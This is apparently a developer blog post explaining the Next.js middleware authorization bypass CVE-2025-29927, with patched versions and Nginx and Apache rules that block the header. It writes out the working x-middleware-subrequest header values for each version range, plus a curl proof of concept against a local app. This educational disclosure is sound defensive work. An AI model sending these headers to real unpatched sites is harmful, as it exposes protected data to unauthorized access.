March 23, 2025 (2d ago)
As a humble fellow developer trying to stay up-to-date in the ever-evolving world of web security, I was both intrigued and slightly terrified when I heard about the latest Next.js vulnerability (CVE-2025-29927)
. This sneaky little bug allowed attackers to completely bypass middleware authentication and authorization checks, leaving sensitive data exposed like a picnic basket in a bear-infested forest.
In this guide, I'll walk you through the ins and outs of this vulnerabilityโfrom understanding how it works to implementing the necessary fixes. If you're managing a Next.js application or just curious about web security, this post is for you. Together, we'll explore the vulnerability, its impact, and the steps to secure your applications.
โก๏ธ Note: If you're new to Next.js or web security, don't worry! I'll break down the concepts in an easy-to-understand way, so you can follow along without any hassle.
A simple header (x-middleware-subrequest
) could be added to requests to completely bypass Next.js middleware, potentially allowing unauthorized access to protected routes, CSP bypasses, and even DoS attacks via cache poisoning. This affected all Next.js versions from 11.1.4 to the latest versions before the patches (13.5.6, 14.2.24, 15.2.2).
CVSS Score: 9.1/10 (Critical)
Before we dive into the vulnerability, let's understand what middleware does in Next.js. Middleware runs before a request is completed and allows you to:
Here's a simple example of middleware protecting an admin route:
// middleware.js
export function middleware(request) {
// Get the path
const path = request.nextUrl.pathname
// Check if user is trying to access admin area
if (path.startsWith('/admin')) {
// Get the session cookie
const session = request.cookies.get('session')?.value
// If no valid session, redirect to login
if (!session || !isValidSession(session)) {
return NextResponse.redirect(new URL('/login', request.url))
}
}
// Continue with the request
return NextResponse.next()
}
This middleware acts as a bouncer at the club door, checking IDs before letting anyone into the VIP area. But what if someone could just walk right past the bouncer? That's basically what this vulnerability allowed!
The vulnerability existed in Next.js's internal mechanism to prevent infinite middleware recursion. When a request triggered middleware, Next.js would check for an internal header called x-middleware-subrequest
to determine if the middleware should run.
The vulnerability evolved across different Next.js versions:
In versions 11.1.4 to 12.1.x, the middleware file had to be named _middleware.ts
and placed in the pages
directory. The exploit was:
x-middleware-subrequest: pages/_middleware
This would completely bypass the middleware check!
The middleware file convention changed to middleware.ts
in the root directory (or optionally in the src
directory). The exploit became:
x-middleware-subrequest: middleware
or
x-middleware-subrequest: src/middleware
The logic changed slightly again. Now the bypass required repeating the value multiple times:
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
or
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
Let's create a simple Next.js application with middleware that protects a route. We'll then demonstrate how to bypass this protection.
First, clone the repository and navigate to the project directory:
git clone https://github.com/neoxs/nextjs-middleware-vuln-poc.git
cd nextjs-middleware-vuln-poc
Install the dependencies:
npm install
Start your Next.js application:
npm run dev
The application has the following key components:
import { NextResponse } from 'next/server'
import type { NextRequest } from 'next/server'
export function middleware(request: NextRequest) {
// Get the pathname of the request
const path = request.nextUrl.pathname
// Define which paths are protected (require authentication)
const isProtectedRoute = path.startsWith('/dashboard')
// Check if user is authenticated by looking for the auth cookie
const authCookie = request.cookies.get('auth')?.value
const isAuthenticated = authCookie === 'true'
// If the route is protected and the user is not authenticated,
// redirect to the login page
if (isProtectedRoute && !isAuthenticated) {
return NextResponse.redirect(new URL('/login', request.url))
}
// Continue with the request if authenticated or not a protected route
return NextResponse.next()
}
// Configure which routes the middleware should run on
export const config = {
matcher: ['/dashboard/:path*'],
}
A protected route that should only be accessible to authenticated users.
Where users without authentication are redirected.
Now, let's bypass the middleware protection without logging in:
curl -X GET http://localhost:3000/dashboard \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
http://localhost:3000/dashboard
in your browserAnd boom! ๐ฅ We've bypassed the middleware completely, allowing direct access to the dashboard area without authentication.
This vulnerability was rated as critical (CVSS 9.1/10) for good reasons:
No Authentication Bypass: Middleware is commonly used for authentication/authorization, meaning this bypass could allow unauthorized access to protected resources.
Security Header Removal: If middleware adds security headers (CSP, HSTS, etc.), bypassing it could enable various client-side attacks.
Wide Impact: Next.js is used by millions of applications, including in critical sectors like banking and healthcare.
Easy to Exploit: The attack requires only adding a simple HTTP header to requests.
This vulnerability is particularly critical for applications with protected routes that expose sensitive data, especially when the data isnโt tied to a specific user account. For example, in an application that provides access to confidential documents or internal reports, an attacker who bypasses the middleware could still reach these routes. However, without an account in the system, they remain unable to perform actions that require authentication, even if they can view sensitive information without leaving a trace.
In such scenarios, the consequences can be severe. Unauthorized access to sensitive data can lead to data breaches, compliance violations, and significant reputational damage. It underscores the importance of implementing robust, multi-layered security measures to protect not just user-specific data but also general sensitive information.
next start
or output: 'standalone'
)The vulnerability has been fixed in:
If you can't update immediately, you can protect your application by blocking the x-middleware-subrequest
header at your reverse proxy, load balancer, or WAF level.
For example, with Nginx:
# Block requests with the x-middleware-subrequest header
if ($http_x_middleware_subrequest) {
return 403;
}
Or with Apache:
# Block requests with the x-middleware-subrequest header
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP:x-middleware-subrequest} .+
RewriteRule .* - [F]
</IfModule>
Monitor Security Advisories ๐ข
Keep an eye on security advisories for all your dependencies. Subscribe to security mailing lists and enable GitHub security alerts for your repositories.
Regular Updates Are Non-Negotiable ๐
This vulnerability affected versions as far back as 11.1.4 (released in 2021). Keeping your dependencies updated is essential for security.
Headers Can Be Dangerous ๐งจ
Be careful about trusting HTTP headers, especially for security decisions. Headers can be easily spoofed by attackers.
This vulnerability reminds us that even the most popular frameworks can have critical security issues lurking in their code. The Next.js team responded quickly once they were aware of the issue, but it had been present in the codebase for years!
Security is an ongoing process, not a one-time task. Keep learning, keep updating, and keep implementing those defense-in-depth strategies.
Remember: a good security mindset isn't about being paranoidโit's about being prepared! ๐ก๏ธ
For those who want to dive deeper into this vulnerability, I recommend checking out these excellent resources:
Next.js and the corrupt middleware - The original detailed technical analysis by the researchers who discovered the vulnerability.
Official Next.js CVE-2025-29927 Security Advisory - The official announcement and security guidance from the Next.js team.
National Vulnerability Database - CVE-2025-29927 - The NIST National Vulnerability Database entry with official vulnerability scoring and technical details.
Cloudflare WAF Update for Next.js Vulnerability - Information about Cloudflare's WAF rule that provides protection against this vulnerability for Cloudflare users.
These resources provide additional technical details and context about the discovery, impact, and resolution of this vulnerability.
Disclaimer: This article is for educational purposes only. The vulnerability has been publicly disclosed and patched. Please use this knowledge ethically and only on systems you have permission to test.
If you found this content helpful, consider buying me a coffee. Your support helps me create more free content!
6,546 views